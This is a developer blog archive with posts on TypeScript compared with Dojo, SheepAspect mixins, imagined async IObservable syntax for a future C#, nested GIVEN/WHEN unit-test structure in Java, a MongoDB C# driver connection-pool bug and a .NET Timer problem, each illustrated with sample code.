Hendry Luk — Sheep in Fence

October 9, 2012

TypeScript: Dojo Without The Awkwardness

Filed under: Software Development — Hendry Luk @ 4:26 am
Tags: , , , ,

Humanity has been relentlessly trying to remove Javascript from the face of web-development world for almost as long as Javascript itself. Aside from GWT and ScriptSharp, they also make languages like CoffeeScript and Dart because they are sexier and more fun to write than Javascript. But to me they are just it: a sexier language to write. Nothing of particular interest to me, beyond academic curiosity.  Sure, terser syntax and type safety are all good and well, but Javascript has never been painful enough for me to throw everything good about it and its ecosystem out of the bath. Javascript may be ugly, but the fact is: UI programming is ugly. And that’s what tools like jQuery, Dojo, and Knockout have done a lot to make the experience bearable. To me these tools offer more practical values than switching to a different language altogether. Suffice to say, my attitude toward Javascript-replacement languages has so far been a little more than indifference.

Now where were we? Ah yes, Microsoft announced TypeScript. Great, another Javascript alternative language, because we just can’t have enough. It was certainly very tempting to be quick and dismiss it as another solution looking for a problem. But this time I actually feel excited. Reason?

Well simply put, TypeScript is driven by very practical motives. It doesn’t arbitrarily try to replace Javascript to cater those who dislike Javascript, instead it has a very specific aim: make Javascript fit for large-scale applications. In case you’ve missed the gigantic subtext printed on its homepage: “TypeScript is a language for application-scale JavaScript development.” It’s a language specifically designed to scale well to accommodate large applications with massive Javascript codebase. Sounded like a generic marketing hype, but then I looked at their example code and it became immediately clear what they’re onto. I’ll let the following couple of snippets paint the 1000 words.

So this is an example of an AMD code written on TypeScript:

import geometry = module("./geometry");
import drawing = module("./drawing");
import Math = module("./Math");

export class Circle extends geometry.Shape {
   radius: number;
   center: drawing.Point;

   constructor(x: number, y: number, radius: number) {
      radius = radius;
      center = new drawing.Point(x, y);
   }
   getArea(): number {
      return Math.PI * Math.pow(this._radius, 2);
   }
   getCircumference(): number {
      return 2 * Math.PI * radius;
   }
   scale(factor: number): void {
      this.radius *= factor;
   }
}

That looks somewhat familiar. Here’s the exact same code I rewrite on plain Javascript using Dojo:

define([
   "dojo/_base/declare",
   "./geometry",
   "./drawing"
   "./Math"],
   function(declare, geometry, drawing, Math){
      return declare("Circle", geometry.Shape, {
         _radius: null,
         _center: null,

         constructor: function(x, y, radius){
            this._radius = radius;
            this._center = new drawing.Point(x, y);
         },
         getArea: function() {
            return Math.PI * Math.pow(this._radius, 2);
         },
         getCircumference: function() {
            return 2 * Math.PI * radius;
         },
         scale: function(factor){
            this._radius *= factor;
         }
      });
   });

Now I don’t know if it’s just me, but the two look refreshingly alike. And probably no coincidence. When TypeScript claims itself to be “Javascript for large-scale apps”, they actually mean it.

One can hardly talk about large-scale Javascript apps without mentioning Dojo in the same breath. Dojo has been one of the most powerful frameworks to build non-trivial Javascript applications, and has become the well accepted pattern in structuring and modularising huge Javascript codebase. It is the gold standard of large-scale rich application development.

But there’s just one problem with Dojo: it’s ugly. It’s verbose. It’s repetitive, when it’s not noisy. It’s error prone. Hard to refactor. Poor IDE support. It’s definitely not terribly fun to write. To be clear, unlike jQuery, Dojo’s syntax is conservative by concious choice as it puts consistent syntax and good design patterns ahead of slick syntactic hotness you get from other Javascript libraries. Nonetheless it feels awkward. I love Dojo, but I want Dojo that is less of a pain in my rear end. To me this is the one aching spot where Javascript clearly shows its sheer ugliness.

And that’s the sweet spot that TypeScript hits! It does not try to reinvent Javascript or introduce new design patterns or paradigms. Rather, it has a very specific aim: keep the good old Javascript and the familiar dojo-style pattern, but make it a bit more appetizing to write. And throw in refactorablity and full intellisense while we’re at it. To me the value is real and immediate: TypeScript is dojo without the awkwardness.
It may not be as revolutionary or ambitious as CoffeeScript or Dart, but TypeScript does hit the nail and give a quick effective remedy to the pain that I actually care about. The idea is simple: building a large-scale application on Javascript doesn’t have to be a long ritual of ceremonial chores.

And of course, being a supertype, TypeScript is to Javascript what Less is to CSS. So just like Less (that we all love and cherish), TypeScript has left me very little excuse not to start adopting it sooner, rather than later.

March 9, 2012

SheepAspect: Mixin

SheepAspect Preview-3 was released today, and one of the most important new features is Mixins. In Preview-2, there were only one advice implementation: [Around]. In preview-3 we introduce two more advices: [DeclareMixin] and [DeclareAttributes].

[DeclareMixin] advice allows you to add new interface implementations on existing classes. As an example, here is a plain simple Customer class:

public class Customer
{
	public string FirstName {get; set;}
	public string LastName {get; set;}
}

And a completely unrelated IEmailable interface:

public IEmailable
{
	public string EmailAddress {get; set;}
	public void SendEmail(string subject, string body);
}

Now let’s stitch these two together using SheepAspect mixin

[SingletonAspect]
public class SmtpAspect
{
	[SelectTypes(typeof(Customer))]
	public void Customer(){}

	[DeclareMixin("Customer")]
	public IEmailable CreateCustomerEmailable(Customer customer)
	{
		return new CustomerSmtpEmailable(customer);
	}

	private class CustomerSmtpEmailable: IEmailable
	{
		private readonly Customer _customer;

		public CustomerSmtpEmailable(Customer customer)
		{
			_customer = customer;
		}

		public string EmailAddress { get; set; }

		public void SendEmail(string subject, string message)
		{
			/* Just pretend this code is going to an SMTP server, not to a console */
			Console.WriteLine("To: {0} {1} ({2})", _customer.FirstName, _customer.LastName, EmailAddress);
			Console.WriteLine("Subject: {0}", subject);
			Console.WriteLine("\nMessage:");
			Console.WriteLine("Hola {0},", _customer.FirstName);
			Console.WriteLine(message);
			Console.WriteLine("\nSincerely yours");
			Console.WriteLine("Sheep");
		}
	}
}

With this aspect in place, your Customer class now magically implements IEmailable interface. The invocation will be directed to the implementation we have provided in our aspect (CustomerSmtpEmailable), which contains the infrastructure code of sending an email through an SMTP server or background tasks. Now you can actually cast your Customer arbitrarily to an IEmailable:

var customer = new Customer {FirstName = "Henders", LastName = "Sheep"};

var emailable = (IEmailable) customer; // Casting a Customer into IEmailable!

emailable.EmailAddress = "henders.sheep@foo.com";
emailable.SendEmail("Buy now!",
    "We have a great collection of sheep for you to buy.\nHurry, while stock lasts!");

That actually works, and you did not get InvalidCastException. Instead you’ll get this little output on your console window:

image

All source-code in this example can be found in SheepAspect.Example project on SheepAspect code repository.

Binding Mixins to Fields

Instead of declaring Mixin implementation factory method, you can also bind your Mixin implementations on aspect fields. For instance:

[SingletonAspect]
public class SmtpAspect
{
	[DeclareMixin("CustomerTypePointcut")]
	public IEmailable _customerEmailable;
}

Now your Customer will implement IEmailable interface that directs its execution to the IEmailable instance held by this _customerEmailable field on your SmtpAspect. Swapping the implementation of your Customer’s IEmailable is as simple as setting the value of this field.

Dependency Injection: Reborn

Some time in our career, we have learnt about separation of concerns, about how you should split domain-code from infrastructural concerns. Usually this is achieved by means of dependency-injection, the goal of which is to promote loose-coupling, maintainability, and testability. Dependency-injection has become one of the most fundamental principle in OO application development. But this is a principle that might no longer be relevant in AOP world.

The premise of dependency-injection does not necessarily hold true in AOP development process. There is no longer much need of rearchitecting your classes to fit into dependency-injection scheme just to achieve separation of concerns. You can in fact just implement your infrastructural concerns directly as part of your Customer domain class. For typical CRUD applications, you can do away without repository classes: you just simply inject ActiveRecord capability straight onto your entities through mixin.

Feeling dirty? Not quite. Separation is still maintained because these implementations are actualised as separate mixins that are injected externally by aspects where you consolidate all your infrastructural plumbing.

In our Customer/IEmailable example, neither your Customer class, IEmailable interface, nor their consumers are aware of any SMTP implementation. They are pure POCO. Then somewhere completely external to the core of your application code, you just introduce SmtpAspect mixins aspect where you actually implement your SMTP plumbing, and will statically enhance your customer class with SMTP capability. But from code perspective, your Customer class remains a simple POCO model.

For unit-testing, you can mock SmtpAspect class, and reimplement the IEmailable behavior with mocked behaviors.

Yes you do violate dependency-injection principle, you sinfully commit God-Object anti-pattern, but hey, those wisdoms was invented before the birth of AOP into static languages.

SheepAspect Preview 3

Filed under: Software Development — Hendry Luk @ 1:43 am
Tags: ,

This is not a massive release or anything. The idea is to push new changes rapidly to the public to attract early feedbacks, especially because this Preview3 release comes with a good set of new features and improvements that I genuinely feel very excited about. Many of these changes are based on feedbacks I have received from early adopters. So thanks to everyone who has shared their inputs.

What’s New

There is no significant changes on the underlying SheepAspect framework itself. This release is more of implementing new functionalities and natural progression of the feature-set of the library. Some of these new features are:

  1. The most significant new feature in Preview3 release is the Mixins support. With the new [DeclareMixin] advice, you can now statically add interface implementations to existing classes. I will write have written the details of this in a separate post.
  2. We also now have [DeclareAttributes] advice attribute. With this advice, you can statically add attributes to existing types, methods, properties, fields, and constructors. This will also be covered in the upcoming posts.
  3. IAspectAware interface, so you can now intercept when your aspects get instantiated by AspectRuntime so you can execute some initialisation routine. Again, this will be covered in the upcoming posts.
  4. A more complete set of pointcut implementations. Preview-2 advices could only target methods, properties, and instructions (method-calls, field gets/sets). In preview-3, they can also target types, constructors, fields, and property getters/setters. Events are only partially supported at the moment.
  5. Intellisense documentation. I understand that SheepAspect has a very steep learning curve. It can be overwhelming for users to get started or to figure out what each attribute does. In this Preview 3 release, most of SheepAspect’s public API is well documented.
    image10image9
  6. In Preview 2, SheepAspect required pdb files of all target binaries (so that SheepAspect can preserve debuggability of your weaved binaries). This has caused a problem for users who do not have pdb files of their target binaries. In Preview 3, pdb files are optional.

Get It Now

As usual, SheepAspect Preview3 is installable from NuGet: https://nuget.org/packages/SheepAspect. SheepAspect-Query-Analyzer for Preview-3 version is still due to come soon, and will be downloadable separately on the SheepAspect homepage.

UPDATE: SheepAspect-Query-Analyzer is now always included when you install via NuGet, under the Tools directory within the SheepAspect package folder.

March 8, 2012

SheepAspect Preview 3

Filed under: Uncategorized — Hendry Luk @ 11:54 am

This is not a massively dramatic release over the previous version. The idea is to push new changes rapidly to the public to get early feedbacks. All that said, there are good set of new features and improvements in this release that I genuinely feel very excited about. Many of these changes are based on feedbacks I have received from early adopters. Thanks to everyone who has shared their inputs.

What’s New

There is no significant changes on the underlying SheepAspect framework itself. This release is more of implementing new functionalities and natural progression of the feature-set of the library. Some of these new features are:

  1. Mixins. With the new [DeclareMixin] advice attribute, you can now statically add interface implementations to existing classes. I will write have written the details of this on a separate post.
  2. [DeclareAttribute] advice is now also introduced in SheepAspect. With this advice, you can add new attributes to existing types, methods, properties, fields, and constructors.
  3. In Preview 2, SheepAspect required pdb files of all target binaries (so that SheepAspect can preserve debuggability of your weaved binaries). This has caused a problem for users who do not have pdb files of their target binaries. In Preview 3, pdb files are optional.

February 28, 2012

C# vNext: Rx == async IEnumerable

Filed under: Software Development — Hendry Luk @ 2:56 am
Tags: , ,

Rx and TPL are so strikingly similar it’s only mind-boggling that they are boxed as two separate frameworks with very little connecting in between. IObservable is practically the plural form of Task.

While TPL has been given some serious love lately in the form of async/await syntax in the upcoming C#5, Rx has not received any plural equivalent of such syntax. Despite being positioned as a mathematical dual of IEnumerable since its dawn, IObservable is still not (yet) paired with any of the syntatix features of IEnumerable. Yes I’m talking about async version of foreach and yield.

This post is basically just me daydreaming about my own hypothetical C#6, where TPL (async/await) meets IEnumerable (foreach/yield), and the outcome of this fusion is of course IObservable.

Rx and TPL Today

Before we look ahead to the future, let’s just first see what’s possible TODAY. The line separating TPL and Rx is a very thin one, and it makes perfect sense for them to be merged together into a single asynchrony concept. Basically, what IObservable is to task, is what IEnumerable is to Object. In simple words, IObservable is a stream of Tasks.

IObservable -> Task

The first implication of this realization is that IObservable should be able to return individual Task objects, for instance using methods like Single(), Last(), First(), ElementAt(), and so on, which should return instances of Tasks. Strangely, the current IObservable API does not seem to reflect that. Those methods I mentioned are currently blocking methods that return objects directly (to simulate IEnumerable), which does not make much sense given the asynchronous nature of Rx (and the direction of .net 4.5 in general).

public string GetMessage()
{
   var message = messagesObservable.FirstOrDefault(); // blocking wait
   return message.Body;
}

I’ve never understood why Rx is implemented in that manner instead of looking to its close TPL cousin that is the perfect fit for Rx. The SingleOrDefault() method should really return an awaitable reference, especially in .Net 4.5.

public async Task<string> GetMessageAsync()
{
   var message = await messagesObservable.FirstOrDefaultTpl(); // non-blocking
   return message.Body; // continuation
}

FirstOrDefaultTpl() method can be implemented pretty easily using today’s .net framework.

public static Task<T> FirstOrDefaultTpl<T>(this IObservable<T> observable)
{
   var tcs = new TaskCompletionSource<T>();
   observable.Take(1).DefaultIfEmpty(default(T)).Subscribe(tcs.SetResult, tcs.SetException);
   return tcs.Task;
}

(And similarly for other operations: First(), Last(), LastOrDefault(), ElementAt(), ElementAtDefault()).

Task -> IObservable

On the flip side of the coin, if IObservable is a stream of Tasks, you should also be able to compose an IObservable from a number of Task instances. For instance:

public IObservable<BookPrice> GetBookPrices(ISBN isbn)
{
   return new Task<BookPrice>[] {
       LookupAmazonAsync(isbn),
       LookupBordersAync(isbn),
       LookupBarnesNobleAsync(isbn),
       LookupBestBuyAsync(isbn)
   }.AsObservable();
}

The last line is an extension-method AsObservable() that we’ll now be implementing to convert an array of Tasks into an IObservable:

public static IObservable<T> AsObservable<T>(this Task<T>[] tasks)
{
   return Observable.Create<T>(observer=>
      {
         var cancelSource = new CancellationTokenSource();
         Task.Factory.ContinueWhenAll(tasks.Select(task=> task.ContinueWith(t=>
         {
            if(t.IsFaulted)
               observer.OnError(t.Exception);
            else if(t.IsCompleted)
               observer.OnNext(t.Result);
            })).ToArray(), _ => observer.OnCompleted(), cancelSource.Token);

            return cancelSource.Cancel;
      });
}

(PS: in practice, you may want to make an overload that takes a CancellationTokenSource)

In the IEnumerable world, this is akin to converting a bounded array of objects into an IEnumerable of a known length. However, to make an IEnumerable that returns an unbounded stream of objects, things are a bit different, but luckily .net framework provides the yield keyword for that since 2.0.

Back to the IObservable world, to make an IObservable from an unbounded series of asynchronous Tasks, we need a similar yield construct, which does not actually exist in the current (and any foreseeable future) .net frameworks, but does exist in my hypothetical C#6.

Rx and TPL in C#6

The year is 2015, the Mayans turned out to be a load of bollocks. I’m here sitting before my 64-core laptop, swiftly fired up my VisualStudio 2014 and wrote the following method:

public async IObservable<Temperature> PollTemperatureChanges() // C#6: async IObservable method
{
   Temperature lastTemp;
   while(true)
   {
      var nextWeather = await GetWeatherAsync();  // await within an async IObservable method
      if(nextWeather.Temperature != lastTemp)
      {
         yield return currentWeather.Temperature;  // C#6: IObservable yield
         lastWeather = currentWeather.Temperature;
      }

      await Task.Delay(TimeSpan.FromSeconds(5));  // await within an async IObservable method
   }
}

In the old C#, that method would have returned an IEnumerable that produces an infinite stream of weather reports (produced by the yield syntax). But here on C#6, I just wrote one that returns an IObservable of exactly the same behavior, except asynchronously. (Afterall, IObservable is the mathematical dual of IEnumerable)

I then proceed to write the next method, still on my VisualStudio 2014:

public async Task<Foo> DoSomethingWithTemperatures()
{
   foreach await(var temp in PollTemperatureChanges()) // C#6: foreach await(IObservable)
   {
      // do something
      if(blah)
         break;      // c#6: foreach await unsubscribe

      if(otherBlah)
         return someFoo; // c#6: foreach await return
   }

   // do something afterwards...   -> foreach await continuation
   return otherFoo;
}

This is year 2015, remember? Most methods are now declared as async (thanks to its viral characteristic), sync methods have become almost obsolete. IEnumerable is on the way out, being replaced by IObservable. And all syntaxes that were applicable to IEnumerable are now also supported for IObservable.

Now back to today’s world (or nearer future anyway): in C#5 (with its lack of IObservable support), those same two simple methods above would have been written hideously as the following:

public IObservable<Temperature> PollTemperatureChanges() // C#6: async IObservable method
{
   return Observable.Create<int>(observer =>
   {
      var isCancelled = false;
      ((Action)async delegate
         {
            try
            {
               var lastWeather = 0;
               while(true)
               {
                   var nextWeather = await GetWeatherAsync();
                   if (nextWeather.Temperature != lastTemp)
                   {
                      observer.OnNext(weather.Temperature);
                      if (isCancelled)
                         return;

                      lastWeather = currentWeather.Temperature;
                    }

                    await Task.Delay(TimeSpan.FromSeconds(5));
                 }
              }
              catch(Exception e)
              {
                 observer.OnError(e);
              }
              finally
              {
                 observer.OnCompleted();
              }
          })();

       return () => isCancelled = true;
   });
}

public async Task<Foo> DoSomethingWithTemperatures()
{
   var tcs = new TaskCompletionSource<int>();
   PollTemperatureChanges().TakeWhile(temp =>
      {
         // do something
         if (blah)
            return false;
         if(otherBlah)
         {
            tcs.SetResult(someFoo);
            return false;
         }
         return true;
      }).Subscribe(
         onNext: _ => { },
         onError: tcs.SetException,
         onCompleted: () => {
            if(!tcs.Task.IsCompleted)
            {
               // do something afterwards...
               tcs.SetResult(otherFoo);
            }
         });

   return tcs.Task;
}

That wasn’t pretty. Those methods actually would have been a total train wreck in the current C#4, but thanks to (the nearer future) C#5 who has helped massively in reducing the complexity. But still, due to the absence of IObservable support (at least until C#6), the C#5 code above still looks far uglier and harder to write than it needs to be.
Just like TPL before C#5, your nested lambda will only get deeper and deeper, especially when you have multiple observables. (Anyone who works with TPL on C#4 knows how to read code diagonally from top-left to bottom-right, thanks to nested lambdas).

Note that those were even only a simplified version of the actual code. They have not, for example, done exceptions propagation properly. But more importantly, they have not handled Task cancellations. Currently Rx and TPL have 2 different patterns in handling cancellation that are unfortunately not compatible with each other, and are therefore not seamlessly connectable.

CancellationToken vs Unsubscribe

This is where TPL and Rx are incompatible:

  • In TPL, the pattern to handle cancellation is by passing a token into Task operations.
  • In contrast, IObservable subscriptions return cancellation IDisposable-s to the client. The equivalent of this would be to have a Cancel() method on the Task class. But it doesn’t. This difference makes it hard to seamlessly integrate the two APIs together.

Consider our first C#6 PollTemperatureChanges() method above. When the IObservable is unsubscribed from, the GetWeather() task it is awaiting for needs to receive a cancellation signal. Unfortunately since there is no Cancel() method on the Task class (nor on its Awaiter), this is not possible to be syntactically inferred. A syntatix workaround is required to get around this (albeit manually), which is by introducing a special keyword for IObservabler unsubscription.

Using this new C#6′s try/unsubscribe syntax, we can modify our C#6 above to support TPL cancellation.

public async IObservable<Temperature> PollTemperatureChanges()
{
   Temperature lastTemp;
   var cancelToken = new CancellationTokenSource();
   try
   {
      while(true)
      {
         var nextWeather = await GetWeatherAsync(cancelToken.Token);
         if(nextWeather.Temperature != lastTemp)
         {
            yield return currentWeather.Temperature;
            lastWeather = currentWeather.Temperature;
         }

         await Task.Delay(TimeSpan.FromSeconds(5));
      }
   }
   unsubscribe   // our new C#6 'unsubscribe' block
   {
      cancelToken.Cancel();
   }
}

TL;DR

Just in case you’ve missed the point, all references about C#6 in this post are purely hypothetical; though it did not take a leap of imagination. The similarities between TPL, IObservable, and IEnumerable just make for a very compelling case to fuse async/await and foreach/yield keywords together, and the result is a futuristic IObservable syntax that is elegantly consistent with those of IEnumerable and TPL. Some extention-methods can already be implemented today to bridge IObservable and TPL async/await, but a richer native syntatix support for IObservable in future C# is still something to be awaited (if you excuse the pun).

January 10, 2012

Structuring Unit-Tests, My Way

Filed under: Software Development — Hendry Luk @ 12:38 pm

Phil Haack wrote recently about how he structures his unit-tests (which he stole from NuGet.org’s Drew Miller). I thought I would respond with a post on how I structure my unit-tests. I found Phil’s post interesting because of its similarity to the way I usually structure my unit-tests, at least in spirit. Phil brought up some points there which I strongly agree:

  1. One flat test-class per target-class is too convoluted. You will soon get drowned by the complexities of your tests.
  2. This giant test-class needs to be broken down to nested-classes
  3. This structure keeps tests organized and grouped together. So you can collapse method-body (CTRL+M, CTRL+O), or use the object-browser, to quickly view the list of test hierarchies within your class

Now the difference. The main objective of unit-test structure for me is not just for general tidiness, but mainly to address the repetitive nature of writing unit-tests, such as setting up slightly varying contexts between test-cases while maintaining readability and terseness of your unit-test code.

Phil groups his tests based on target methods. I.e. as opposed to one test-class per target-class, now we have one test-class per target-method. That definitely makes things cleaner. But I usually take it even further.

I think a method is still too big to be captured by a single test-class. One method can be used in a variety of different contexts and scenarios.  Testing all these different contexts and scenarios within one single method often leads to tedious repetitive setup code in the unit-test methods.

So instead of adopting “one test-class per target-method”, I structure my unit-tests in a “one test-class per scenario” manner. I’m so far very happy with this approach, not just because it improves readability, but mainly because it greatly promotes reusability (of test-code) and DRYness (as in Don’t Repeat Yourself).

Now, how do we define these test-classes? I divide my test-classes into 2 kinds:

  • GIVEN test class. This test-class defines some background context of your test-story. In short, a GIVEN test class usually has an Arrange() setup method.
  • WHEN test class. WHEN class is an action. It usually has an Act() method, which is where you actually invoke your target-method.

So what is these Act() and Arrange() methods? Well they’re both actually what you usually call Setup() methods, but I break them to 2 different kinds. Why? Because I want to make sure all Arrange() methods to run before all Act() methods. This semantic is consistent with the AAA (Arrange-Act-Assert) syntax, which many mock-frameworks follow. So this structuring feels very natural.

Ok let’s cut to the chase now. Our first example, we write some unit-tests where you have one context (GIVEN) followed by different actions (WHENs).

GIVEN an_empty_shopping_cart:

  • should_have_no_item
  • WHEN added_12_productA:
    • should_only_have_1_item
    • the_item_should_be_of_productA
    • item_quantity_should_be_12
    • WHEN added_5_productB:
      • should_now_have_2_items
      • first_item_remain_intact
      • second_item_should_be_of_productB
      • productB_quantity_should_be_5
      • WHEN cleared:
        • should_now_have_no_item
    • WHEN set_productB_quantity_to_0:
      • should_now_only_have_productA_left
  • WHEN added_5_productA:
    • should_still_have_1_item
    • item_quantity_should_now_be_17

(* This tree hierarchy is how the tests will actually look on NUnit/Resharper test runner)

Remember, WHEN contains Action(). In this example, you’re basically just following one action after another. This is the case where you have a single context where you can perform a chain of different actions, with each step having its own set of tests (assertions).

The code looks like the following. (I use Java because it has a really nice feature called instance-scoped nested-class, which C# does not have. This feature means that nested-class has access to the instance of the outer-class).

public class Given_an_empty_shoppping_cart{
   @Mock Customer customer;
   ShoppingCart cart;

   @Arrange void arrange(){
      cart = new ShoppingCart(customer);
   }

   @Test void should_have_no_item(){
      assertTrue(cart.isEmpty());
   }

   public class When_added_12_productA{
      @Act void act(){
         // code to setup stub for productA
         cart.add(productA, 12);
      }

      @Test void should_only_have_1_item(){
         assertEquals(1, cart.getItems().size());
      }
      @Test void the_item_should_be_of_productA(){
         // assert code
      }
      @Test void item_quantity_should_be_12(){
         // assert code
      }

      public class When_added_5_productB{
         @Act void act(){
            // code to setup stub for productB
            cart.add(productB, 5);
         }

         @Test void should_have_2_items(){
            // assert code
         }
         @Test void first_item_should_remain_intact(){
            the_item_should_be_of_productA();
            item_quantity_should_be_12();
         }
         @Test void second_item_should_be_of_productB(){
            // assert code
         }
         @Test void productB_quantity_should_be_5(){
            // assert code
         }

         public class When_cleared{
            @Act void act(){
               cart.clear();
            }

            @Test void should_have_no_item(){
               assertTrue(cart.isEmpty());
            }
         }

         public class When_set_productB_quantity_to_0{
            @Act void act(){
               cart.setQuantity(productB, 0);
            }

            @Test void should_now_only_have_productA_left(){
               should_only_have_1_item();
               the_item_should_be_of_productA();
               item_quantity_should_be_12();
            }
         }
      }

      public class When_added_5_more_productA{
         @Act void act(){
            cart.add(productA, 5);
         }
         @Test void should_still_have_1_item(){
            assertEquals(1, cart.getItems().size());
         }
         @Test void item_quantity_should_now_be_17(){
            // assert code
         }
      }
   }
}

(Yap, sorry if that was long. I just typed them all in just in case you’re curious how the code looks like.)

So by grouping each test-scenario into its own story class, you promote explicitness and DRYness. We only write the context and the action only once, and use it all the way down the hierarchy. You also notice I’m reusing my unit-tests on line#65-#67. (Additionally, in practice I also leverage a lot of inheritance to reuse a set of unit-tests to multiple contexts).

And this is how the actual source-code looks like on the editor.

Code Outline View

Outline View

So that was an example of writing multiple WHENs to create a chain of different actions.

There is also the reverse. You can write your tests where you have one action (WHEN) applied to different contexts (GIVENs):

(Continuing on the shopping-cart example)

  • WHEN estimating_local_shipping_fee_at_2dollars_per_kg:  // -> when the action happens!
    • GIVEN product_is_3kgs:
      • GIVEN customer_is_standard_member:
        • shipping_should_be_18bucks
      • GIVEN customer_is_premium_member:
        • should_be_free_shipping
    • GIVEN product_is_heavier_than_4kgs:
      • GIVEN customer_is_standard_member:
        • should_only_charge_for_4kgs__ie_24bucks
      • GIVEN customer_is_premium_member:
        • should_charge_a_flat_1dollar_surcharge

(* This tree hierarchy is how the tests will actually look on NUnit/Resharper test runner)

In this example, you are performing one single action (estimating local shipping charge of the shopping-cart), but the expectation of this one single operation may vary, depending on the contexts. (E.g. the weight of the products in the cart, and the type of the customer).

/* continued from previous code example */
public class When_added_12_productA{
   @Act void act(){
      cart.add(productB, 5);
   }

   public class When_estimating_local_shipping_fee_at_2dollars_per_kg{
      Money cost;
      @Act void act(){
         when(product.getShippingRate())
            .thenReturn(ShippingRate.perKg(Money.local(0.50)));

         cart.setDeliveryAddress(somewhereLocal);
         cost = cart.calculateShippingCost();
      }

      public class Given_product_is_3kgs{
         @Arrange void setup(){
            when(product.getWeight()).thenReturn(Weight.kg(3));
         }

         public class Given_customer_is_standard_member{
            @Arrange void setup(){
               when(customer.isPremium()).thenReturn(false);
            }

            @Test void shipping_should_be_18bucks(){
                // 12items x 3kgs x 50c
               assertEquals(Money.local(12 * 3 * 0.50), cost);
            }
         }
         public class Given_customer_is_premium_member{
            @Arrange void setup(){
               when(customer.isPremium()).thenReturn(true);
            }

            @Test void should_be_free_shipping(){
                  assertEquals(Money.zero(), cost);
            }
         }
      }

      public class Given_product_is_heavier_than_4kgs{
         @Arrange void setup(){
            when(product.getWeight()).thenReturn(Weight.kg(10));
         }

         public class Given_customer_is_standard_member{
            @Arrange void setup(){
               when(customer.isPremium()).thenReturn(false);
            }

            @Test void should_only_charge_for_4kgs__ie_24bucks(){
               assertEquals(Money.local(12 * 4 * 0.50), cost);
            }
         }

         public class Given_customer_is_premium_member{
            @Arrange void setup(){
               when(customer.isPremium()).thenReturn(true);
            }

            @Test void should_charge_a_flat_1dollar_surcharge(){
               assertEquals(Money.local(1), cost);
            }
         }
      }
   }
}
Unit-Test Hiearchy on Eclipse

Outline View

This is where the distinction between @Act and @Arrange comes handy. In this case, we are able to define the background story (using @Arrange methods) before the @Act is performed (i.e. invoking shipping calculation). By grouping the test by these different contexts, we promote DRYness. We define our actions once (in WHEN classes), and reuse it all the way down through multiple different contexts (by applying GIVENs through the hierarchy).

Also, notice that we have a couple of repetitive classes: Given_customer_is_standard member and Given_customer_is_premium member. This is a good candidate for an extract-superclass refactoring to further sanitize the test-code, especially if they’re used in many contexts.

We have seen tests with multiple WHENs, and ones with multiple GIVENs. You can mix and match various combination. They will feel very natural, helping eliminate brittle/fragile unit-test code. And they will look really nice on your test-runner too ;)

Source Code

To run the test example, you will need a custom JUnitTestRunner than I have written, which is a pretty small class. I will make the source-code available somewhere in GitHub, and update this post. So watch this space. Also, the code example here uses Java (because of its instance-scoped nested-class), but the pattern can also be achieved using lambda syntax, for example with MSpec.

Summary

Flat unit-test structure can get really convoluted. Grouping your unit-tests into nested-classes can improve readability. Phil showed a great example of one way to group these tests. However, the test itself is still written using conventional pattern:  you write each test-method with the whole context-action-assertion code (arrange-act-assert). This leads to massively repetitive code.

By breaking arrange and act into separate WHEN and GIVEN classes, these codes will only need to be written once, and reused throughout your class hierarchical structure. It greatly promotes DRYness, and avoids fragile unit-tests.

This is a technique I borrow from BDD. Related post by me from a couple years back: TDD, BDD Done Right.

October 12, 2011

Turns Out, ‘Select’ Is Broken

Filed under: Software Development — Hendry Luk @ 10:50 am
Tags: ,

My last few days have been super frantic. MongoDb has decided to go haywire, and nothing makes any sense.

Everything was huming along jauntily, all fine, and then mayhem. The web app could not connect to MongoDb anymore. The driver always throws a TimeoutException every time:

“Timeout waiting for a MongoConnection.” (from MongoConnectionPool.AcquireConnection(MongoDatabase))

The pool runs out of connections, and it never replenishes itself. The whole server stays down until I restart the web-server. I immediately suspected a connection leak in the code. I must have missed to dispose something.

I managed to reliably reproduce the error by hammering the app with a massive load. Eventually Mongo connection-pool would pass out. From that point on, every request will throw a connection timeout. This only happens on a live Azure server, not locally. My fancy debugger is out of the game.

So I reviewed my code, trying to find any connection leak, but couldn’t see anything out of ordinary. I digged into the source-code of MongoDb-CSharp driver, trying to find how my code leaks. No cigar. Then I tried to blame FluentMongo library that I use. That must be it! I suspected it might not dispose MongoCursorEnumerator properly, causing a leak under heavy load. I took the library out of my solution completely, the I was still no closer to fixing the error. Didn’t see any problem with MongoAzure‘s code either.

The only thing left was the MongoDb-Csharp driver itself. But we’re taught that select() isn’t broken. I can’t be seriously thinking that MongoDb-CSharp leaks connections, can I? But after a few days, I hadn’t moved anywhere from where I was when this whole shenanigans started, so I eventually decided to investigate into the MongoDb driver’s source-code.

And there I found the answer. There was not a leak. The timeout happenned naturally. However, apparently there is a bug in MongoDb driver code: after the first connection-timeout, the pool will will always fall into a broken state. More specifically, there’s a bit of code in MongoConnectionPool that clears out all its connections (e.g. after a timeout), but without adjusting its counter accordingly. In other word, the pool would be eternally stuck in a drained state.

The fix was just a single line of code (reseting the pool counter to zero). I was just about to submit the patch, when I discovered it had just been fixed on their latest trunk, just barely a few days ago.

The fix has not been in any release yet. So if you’re using the official release version of MongoDb driver (i.e. from NuGet), you have this bug sitting in your server. Whenever your application gets some heavy traffic, it will knock out your MongoDb connection-pool completely, bringing your entire server to a complete halt. So yea it’s pretty goddamn catastrophic.

The solution: pull the latest MongoDb driver from the latest source trunk, and compile it yourself. The moral: sometimes ‘select’ can be broken.

September 22, 2011

My Daily WTF: Is Timer Broken?

Filed under: Software Development — Hendry Luk @ 1:36 am
Tags: ,

I’ve been working with Task Parallel Library quite extensively lately, and one common thing I need to do is to schedule my tasks with some kind of timing intervals, and System.Threading.Timer is the exact tool for this.

Problem starts when my task randomly just go to a mysteriously halt. The problem with doing asynchronous stuff is the premise of asynchronous itself: when any of your tasks is in a wait state, it will drop its current thread back to the thread pool, and therefore you won’t find anything in the debugger when your tasks do come to a mysterious halt. There’s no facility in the Visual Studio debugger that allows you to possibly find the last call-stacks of your halting tasks.

I spent almost the whole day sprinkling a lot of Trace information all over the code, and I finally managed to narrow down to my little Delay() method that uses System.Threading.Timer. For some reason, my Timer would occassionaly fail to fire back.


new Timer(_=> Trace.WriteLine("fired back"), null, timespan, TimeSpan.FromMilliseconds(-1));

Most of the times, the timer fires back successfully, except in some rare occasions where apparently it never comes back at all. After pulling my hair in frustration until I had little left, I decided to make a desperate stab and change the code to this:


new Timer(_=> Trace.WriteLine("fired back")).Change(timespan, TimeSpan.FromMilliseconds(-1));

